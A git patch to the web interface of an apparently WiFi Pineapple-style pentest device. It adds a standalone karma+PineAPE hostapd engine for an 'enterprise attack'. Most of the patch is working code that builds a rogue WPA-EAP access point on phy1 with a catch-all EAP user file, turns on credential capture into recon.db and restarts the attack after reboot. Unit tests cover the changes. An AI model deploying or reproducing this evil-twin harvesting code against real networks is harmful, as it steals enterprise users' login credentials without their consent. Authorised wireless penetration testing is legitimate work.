From 603e249999bdfab9d0ae74539ef9061a0f48e321 Mon Sep 17 00:00:00 2001 From: c4ch3c4d3 Date: Tue, 18 Aug 2026 19:53:56 -0500 Subject: [PATCH] feat: standalone PineAPE enterprise engine on phy1 The stock daemon's enterprise config generation is broken on this firmware (it hardcodes eap_server_erp=1, which hostapd rejects), so the enterprise attack now runs its own karma+PineAPE hostapd instance on wlan1ent/phy1: iw-created iface, EAP config with catch-all user file, pineape+auth capture enabled via ctrl, mgmtiface registered in pineapd UCI so captured creds flow into recon.db (hostap_basic/hostap_chalresp). Boot-recovery redeploys a live attack after a Mark VIII restart. --- .../user/remote_access/pager-webui/server.py | 224 +++++++++++++----- .../remote_access/pager-webui/www/js/views.js | 2 +- tests/test_attacks.py | 57 ++++- 3 files changed, 217 insertions(+), 66 deletions(-) diff --git a/payload/user/remote_access/pager-webui/server.py b/payload/user/remote_access/pager-webui/server.py index 9cf4842..8650b0d 100644 --- a/payload/user/remote_access/pager-webui/server.py +++ b/payload/user/remote_access/pager-webui/server.py @@ -2556,7 +2556,6 @@ def h_pineap_wifi_get_ap(ctx): wpa_cfg = _uci_wifi_iface('wlan0wpa') r1_open_cfg = _uci_wifi_iface('wlan1open') r1_wpa_cfg = _uci_wifi_iface('wlan1wpa') - ent_cfg = _uci_wifi_iface('wlan0ent') status, data = daemon_sock_call('GET', '/api/pineap/hostapd/get_config') host = data if status == 200 and isinstance(data, dict) else {} status2, data2 = daemon_sock_call('GET', '/api/pineap/get_config') @@ -2568,20 +2567,19 @@ def h_pineap_wifi_get_ap(ctx): _last_reconcile = time.time() device_run(['wifi', 'reload']) break - ent = _ap_iface_dict(ent_cfg, radio0_cfg) return 200, { 'open': _ap_iface_dict(open_cfg, radio0_cfg, pool), 'wpa': _ap_iface_dict(wpa_cfg, radio0_cfg), 'radio1_open': _ap_iface_dict(r1_open_cfg, radio1_cfg), 'radio1_wpa': _ap_iface_dict(r1_wpa_cfg, radio1_cfg), 'enterprise': { - 'enabled': ent.get('enabled', False), - 'ssid': ent.get('ssid', ''), - 'enctype': ent.get('enctype') or 'wpa2', - 'passphrase': ent.get('passphrase', ''), - 'hidden': ent.get('hidden', False), - 'channel': ent.get('channel'), - 'live': _iface_live('wlan0ent'), + 'enabled': _ent_summary()['enabled'], + 'ssid': _ent_summary()['ssid'], + 'enctype': _ent_summary()['enctype'], + 'passphrase': '', + 'hidden': False, + 'channel': _ent_summary()['channel'], + 'live': _ent_summary()['live'], }, 'pool': {'disabled': None, 'collecting': bool(pinecfg.get('autossidpool'))}, 'radios': { @@ -2789,6 +2787,16 @@ ATTACK_IFACES = { 'open': {'radio0': 'wlan0open', 'radio1': 'wlan1open'}, } +# Standalone PineAPE enterprise AP (phy1). The stock daemon's enterprise +# config generation is broken on this firmware, so Mark VIII runs its own +# karma+PineAPE hostapd instance for the enterprise attack. +ENT_IFACE = 'wlan1ent' +ENT_CTRL_DIR = '/var/run/hostapd-mk8' +ENT_CONF = '/root/loot/enterprise.conf' +ENT_PIDFILE = '/var/run/hostapd-mk8.pid' +ENT_EAP_USERS = '/root/loot/eap_users' +ENT_STATE = '/root/loot/mk8_enterprise.json' + def _band_of_channel(channel): band = channel_band(channel) @@ -2896,11 +2904,50 @@ def _deploy_wpa_open(kind, fields): def _disable_enterprise_ap(): - cfg = _uci_wifi_iface('wlan0ent') - if cfg: - device_run(['uci', 'delete', 'wireless.wlan0ent']) - device_run(['uci', 'commit', 'wireless']) - device_run(['wifi', 'reload']) + """Tear down the standalone PineAPE enterprise AP (wlan1ent on phy1).""" + try: + with open(ENT_PIDFILE) as f: + pid = int(f.read().strip()) + if os.path.exists('/proc/%d' % pid): + device_run(['kill', str(pid)], timeout=10) + except (OSError, ValueError): + pass + device_run(['iw', 'dev', ENT_IFACE, 'del'], timeout=10) + for p in (ENT_PIDFILE, ENT_STATE): + try: + os.unlink(p) + except OSError: + pass + rc, out, err = device_run(['uci', 'get', 'pineapd.@hostapd[0].mgmtiface']) + if rc == 0 and out.strip() == ENT_IFACE: + device_run(['uci', 'delete', 'pineapd.@hostapd[0].mgmtiface']) + device_run(['uci', 'commit', 'pineapd']) + device_run(['/etc/init.d/pineapd', 'reload']) + if not _radio1_ap_active(): + _resume_hop() + + +def _ent_running(): + try: + with open(ENT_PIDFILE) as f: + pid = int(f.read().strip()) + return os.path.exists('/proc/%d' % pid) + except (OSError, ValueError): + return False + + +def _ent_ctrl(cmd, timeout=10): + rc, out, err = device_run(['hostapd_cli', '-p', ENT_CTRL_DIR, '-i', ENT_IFACE, cmd], + timeout=timeout) + return (rc, out or '') + + +def _ent_state_loaded(): + try: + with open(ENT_STATE) as f: + return json.load(f) + except (OSError, ValueError): + return {} def _deploy_enterprise(fields): @@ -2910,6 +2957,13 @@ def _deploy_enterprise(fields): enctype = fields.get('enctype') or 'wpa2' if enctype not in ('wpa2', 'wpa3'): raise ValueError('enterprise encryption must be wpa2 or wpa3') + ch = fields.get('channel') + if ch is not None: + band = channel_band(ch) + if band != BAND_5G: + raise ValueError('enterprise AP runs on 5 GHz (36-177)') + else: + ch = 36 # Radio0 karma surface is shared: stop 2.4 GHz WPA/Open attacks first. for name in ('wlan0wpa', 'wlan0open'): cfg = _uci_wifi_iface(name) @@ -2917,42 +2971,105 @@ def _deploy_enterprise(fields): _set_uci('%s.disabled' % name, '1') device_run(['uci', 'commit', 'wireless']) device_run(['wifi', 'reload']) - _set_uci('wlan0ent', 'wifi-iface') - _set_uci('wlan0ent.device', 'radio0') - _set_uci('wlan0ent.ifname', 'wlan0ent') - _set_uci('wlan0ent.mode', 'ap') - _set_uci('wlan0ent.disabled', '0') - _set_uci('wlan0ent.ssid', ssid) - _set_uci('wlan0ent.hidden', '%d' % (1 if fields.get('hidden') else 0)) - _set_uci('wlan0ent.encryption', enctype) - _set_uci('wlan0ent.key', fields.get('passphrase') or '') - ch = fields.get('channel') - if ch is not None: - _set_uci('wlan0ent.channel', '%d' % int(ch)) - device_run(['uci', 'commit', 'wireless']) - status, data = daemon_sock_call('PUT', '/api/settings/wifi/set_ap', - body={'configs': [{ - 'interface': 'wlan0ent', - 'ssid': ssid, - 'enctype': enctype, - 'enabled': True, - 'hidden': bool(fields.get('hidden')), - 'key': fields.get('passphrase') or '', - 'channel': int(ch) if ch is not None else 1, - }]}, timeout=45) - if status != 200: - raise RuntimeError('daemon rejected enterprise AP: %r' % (data,)) - _enable_attack_engine() - _allow_all_ssids() - # PineAPE credential harvesting on. - daemon_sock_call('PUT', '/api/pineap/hostapd/set_config', { - 'pineape_disabled': False, - 'pineape_auth_pass': True, - }) - verified = _verify_iface('wlan0ent') - return {'kind': 'enterprise', 'ssid': ssid, 'iface': 'wlan0ent', - 'band': BAND_2G, 'channel': int(ch) if ch is not None else 1, - 'verified': verified} + _disable_enterprise_ap() + # The stock daemon's enterprise config generation is broken on this + # firmware (emits eap_server_erp, which hostapd rejects), so the + # enterprise AP runs on its own karma+PineAPE hostapd instance on phy1, + # outside the daemon's interface set. Credentials still flow into + # recon.db (hostap_basic / hostap_chalresp) via the pineapd socket. + rc, out, err = device_run(['iw', 'phy', 'phy1', 'interface', 'add', + ENT_IFACE, 'type', 'managed'], timeout=15) + if rc != 0: + raise RuntimeError('could not create %s on phy1: %s' % (ENT_IFACE, (err or out).strip())) + device_run(['iw', 'dev', ENT_IFACE, 'set', 'type', 'ap']) + device_run(['ip', 'link', 'set', ENT_IFACE, 'up']) + try: + with open(ENT_EAP_USERS, 'w') as f: + f.write('"*"\tPAP\t""\n') + with open(ENT_CONF, 'w') as f: + f.write( + 'interface=%s\n' + 'driver=nl80211\n' + 'ssid=%s\n' + 'hw_mode=a\n' + 'channel=%d\n' + 'country_code=US\n' + 'ieee80211d=1\n' + 'ieee80211n=1\n' + 'ht_capab=[SHORT-GI-20][SHORT-GI-40]\n' + 'beacon_int=100\n' + 'auth_algs=1\n' + 'ieee8021x=1\n' + 'eap_server=1\n' + 'eap_user_file=%s\n' + 'wpa=2\n' + 'wpa_key_mgmt=WPA-EAP\n' + 'wpa_pairwise=CCMP\n' + 'wpa_disable_eapol_key_retries=0\n' + 'ctrl_interface=%s\n' % (ENT_IFACE, ssid, int(ch), ENT_EAP_USERS, ENT_CTRL_DIR)) + except OSError as exc: + raise RuntimeError('could not write enterprise config: %s' % exc) + # Tell the karma build which iface is the management (enterprise) AP. + device_run(['uci', 'set', 'pineapd.@hostapd[0].mgmtiface=%s' % ENT_IFACE]) + device_run(['uci', 'commit', 'pineapd']) + _pause_hop() + rc, out, err = device_run(['/usr/sbin/hostapd', '-B', '-P', ENT_PIDFILE, ENT_CONF], + timeout=20) + verified = _ent_running() + if not verified: + _disable_enterprise_ap() + raise RuntimeError('hostapd failed to start for enterprise AP: %s' % (err or out)[-300:]) + deadline = time.time() + 20 + while time.time() < deadline: + rc, out = _ent_ctrl('status') + if 'state=ENABLED' in out: + break + time.sleep(2) + verified = 'state=ENABLED' in (_ent_ctrl('status')[1] or '') + _ent_ctrl('pineap_enable') + _ent_ctrl('pineape_enable') + _ent_ctrl('pineape_auth_enable') + try: + with open(ENT_STATE, 'w') as f: + json.dump({'ssid': ssid, 'enctype': enctype, 'hidden': bool(fields.get('hidden')), + 'channel': int(ch), 'started': int(time.time())}, f) + except OSError: + pass + return {'kind': 'enterprise', 'ssid': ssid, 'iface': ENT_IFACE, + 'band': BAND_5G, 'channel': int(ch), 'verified': verified} + + +def _ent_summary(): + st = _ent_state_loaded() + running = _ent_running() + live = False + if running: + rc, out = _ent_ctrl('status') + live = 'state=ENABLED' in (out or '') + return { + 'enabled': running, + 'live': live, + 'ssid': st.get('ssid') or '', + 'enctype': st.get('enctype') or 'wpa2', + 'band': BAND_5G, + 'channel': st.get('channel', 36), + 'iface': ENT_IFACE, + 'started': st.get('started'), + } + + +def _enterprise_boot_recover(): + """Re-deploy the enterprise AP after a Mark VIII restart.""" + st = _ent_state_loaded() + if not st.get('ssid'): + return + try: + _deploy_enterprise(st) + except RuntimeError as exc: + try: + os.unlink(ENT_STATE) + except OSError: + pass def h_attacks_deploy(ctx): @@ -3011,7 +3128,7 @@ def h_attacks_status(ctx): 'radio1': _uci_ap_summary('wlan1open', 'radio1'), }, 'enterprise': { - 'ap': _uci_ap_summary('wlan0ent', 'radio0'), + 'ap': _ent_summary(), 'pineape': {'enabled': not bool( (daemon_sock_call('GET', '/api/pineap/hostapd/get_config')[1] or {}) .get('pineape_disabled', True))}, @@ -3044,9 +3161,9 @@ def h_attacks_stop(ctx): _set_uci('%s.disabled' % name, '1') stopped.append(name) elif kind == 'enterprise': - if _uci_wifi_iface('wlan0ent'): + if _ent_running() or os.path.exists(ENT_STATE): _disable_enterprise_ap() - stopped.append('wlan0ent') + stopped.append(ENT_IFACE) else: return 400, {'error': 'kind must be wpa, open or enterprise'} if stopped: @@ -4421,6 +4538,7 @@ def serve(): threading.Thread(target=live_loop, daemon=True).start() threading.Thread(target=_recon_watchdog_loop, daemon=True).start() start_health_monitor() + _enterprise_boot_recover() sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) sock.bind((HOST, PORT)) diff --git a/payload/user/remote_access/pager-webui/www/js/views.js b/payload/user/remote_access/pager-webui/www/js/views.js index 1addee9..420049e 100644 --- a/payload/user/remote_access/pager-webui/www/js/views.js +++ b/payload/user/remote_access/pager-webui/www/js/views.js @@ -1523,7 +1523,7 @@ views.attacks_enterprise = (root) => { status.append('Attack', attackBadge(ap)); status.append('SSID', h('span', { text: ap && ap.ssid ? ap.ssid : '—' })); status.append('Interface', h('span', { text: ap ? ap.iface : '—' })); - status.append('Band', h('span', { text: '2.4 GHz' })); + status.append('Band', h('span', { text: ap && ap.band ? ap.band + ' GHz' : '5 GHz' })); status.append('Channel', h('span', { text: ap && ap.channel != null ? ap.channel : '—' })); status.append('Credentials', h('span', { text: String(ent.creds || 0) })); pApeBody.innerHTML = ''; diff --git a/tests/test_attacks.py b/tests/test_attacks.py index e761299..a6e8ddd 100644 --- a/tests/test_attacks.py +++ b/tests/test_attacks.py @@ -43,6 +43,8 @@ class FakeUciDevice: sec = a[2] return (0, ''.join("%s=%s\n" % (k, v) for k, v in self.state.items() if k == sec or k.startswith(sec + '.')), '') + elif a[0] == 'hostapd_cli' and a[-1] == 'status': + return (0, 'state=ENABLED\nssid[0]=test\n', '') return (0, '', '') def uci_iface(self, name): @@ -76,9 +78,23 @@ class AttacksDeployTest(unittest.TestCase): self.tmp = tempfile.mkdtemp(prefix='pager-attacks-') self.old_state = server.PINEAP_STATE_FILE server.PINEAP_STATE_FILE = os.path.join(self.tmp, 'state.json') + self.old_ent = {k: getattr(server, k) for k in + ('ENT_CONF', 'ENT_PIDFILE', 'ENT_EAP_USERS', 'ENT_STATE')} + server.ENT_CONF = os.path.join(self.tmp, 'enterprise.conf') + server.ENT_PIDFILE = os.path.join(self.tmp, 'mk8.pid') + server.ENT_EAP_USERS = os.path.join(self.tmp, 'eap_users') + server.ENT_STATE = os.path.join(self.tmp, 'state.json') + self.old_ent_running = server._ent_running + self.old_ent_state = server._ent_state_loaded + server._ent_running = lambda: True + server._ent_state_loaded = lambda: {'ssid': 'CorpAP', 'channel': 36} def tearDown(self): server.PINEAP_STATE_FILE = self.old_state + server._ent_running = self.old_ent_running + server._ent_state_loaded = self.old_ent_state + for k, v in self.old_ent.items(): + setattr(server, k, v) shutil.rmtree(self.tmp) def test_deploy_wpa_2g4_calls_daemon_and_enables_engine(self): @@ -99,11 +115,11 @@ class AttacksDeployTest(unittest.TestCase): self.assertEqual(len(engines), 2) def test_deploy_wpa_2g4_stops_enterprise_ap(self): - self.f.state['wireless.wlan0ent.disabled'] = '0' server.h_attacks_deploy(ctx({ 'kind': 'wpa', 'ssid': 'TargetNet', 'passphrase': 'secretpass1', 'enctype': 'psk2', 'hidden': False, 'channel': 6})) - self.assertNotIn('wireless.wlan0ent.disabled', self.f.state) + cmds = [r[0] for r in self.f.runs] + self.assertIn(['iw', 'dev', 'wlan1ent', 'del'], cmds) def test_deploy_wpa_5g_writes_radio1(self): status, payload = server.h_attacks_deploy(ctx({ @@ -127,19 +143,36 @@ class AttacksDeployTest(unittest.TestCase): cfg = [s for s in self.f.sock if s[1] == '/api/settings/wifi/set_ap'][0][2] self.assertEqual(cfg['configs'][0]['bssid'], 'DE:AD:BE:EF:00:01') - def test_deploy_enterprise_builds_wlan0ent(self): + def test_deploy_enterprise_uses_standalone_phy1_engine(self): status, payload = server.h_attacks_deploy(ctx({ 'kind': 'enterprise', 'ssid': 'CorpAP', 'passphrase': 'anypass', - 'enctype': 'wpa2', 'hidden': False, 'channel': 1})) + 'enctype': 'wpa2', 'hidden': False, 'channel': 36})) self.assertEqual(status, 200) - self.assertEqual(payload['iface'], 'wlan0ent') - self.assertEqual(self.f.state['wireless.wlan0ent.encryption'], 'wpa2') - self.assertEqual(self.f.state['wireless.wlan0ent.ssid'], 'CorpAP') - cfg = [s for s in self.f.sock if s[1] == '/api/settings/wifi/set_ap'][0][2] - self.assertEqual(cfg['configs'][0]['interface'], 'wlan0ent') - self.assertEqual(cfg['configs'][0]['enctype'], 'wpa2') - pineape = [s for s in self.f.sock if s[1] == '/api/pineap/hostapd/set_config'][0] - self.assertEqual(pineape[2], {'pineape_disabled': False, 'pineape_auth_pass': True}) + self.assertEqual(payload['iface'], 'wlan1ent') + self.assertEqual(payload['band'], server.BAND_5G) + cmds = [r[0] for r in self.f.runs] + self.assertIn(['iw', 'phy', 'phy1', 'interface', 'add', 'wlan1ent', + 'type', 'managed'], cmds) + self.assertIn(['iw', 'dev', 'wlan1ent', 'set', 'type', 'ap'], cmds) + self.assertIn(['/usr/sbin/hostapd', '-B', '-P', server.ENT_PIDFILE, + server.ENT_CONF], cmds) + self.assertEqual(self.f.state['pineapd.@hostapd[0].mgmtiface'], 'wlan1ent') + self.assertEqual(self.f.state['pineapd.wlan1mon.hop'], '0') + + def test_deploy_enterprise_rejects_non_5g_channel(self): + status, _ = server.h_attacks_deploy(ctx({ + 'kind': 'enterprise', 'ssid': 'CorpAP', 'enctype': 'wpa2', + 'channel': 6})) + self.assertEqual(status, 400) + + def test_stop_enterprise_tears_down_engine(self): + server._ent_running = lambda: True + server._ent_state_loaded = lambda: {'ssid': 'CorpAP', 'channel': 36} + status, payload = server.h_attacks_stop(ctx({'kind': 'enterprise'})) + self.assertEqual(status, 200) + self.assertIn('wlan1ent', payload['stopped']) + cmds = [r[0] for r in self.f.runs] + self.assertIn(['iw', 'dev', 'wlan1ent', 'del'], cmds) def test_deploy_validation(self): status, _ = server.h_attacks_deploy(ctx({'kind': 'wpa', 'ssid': ''}))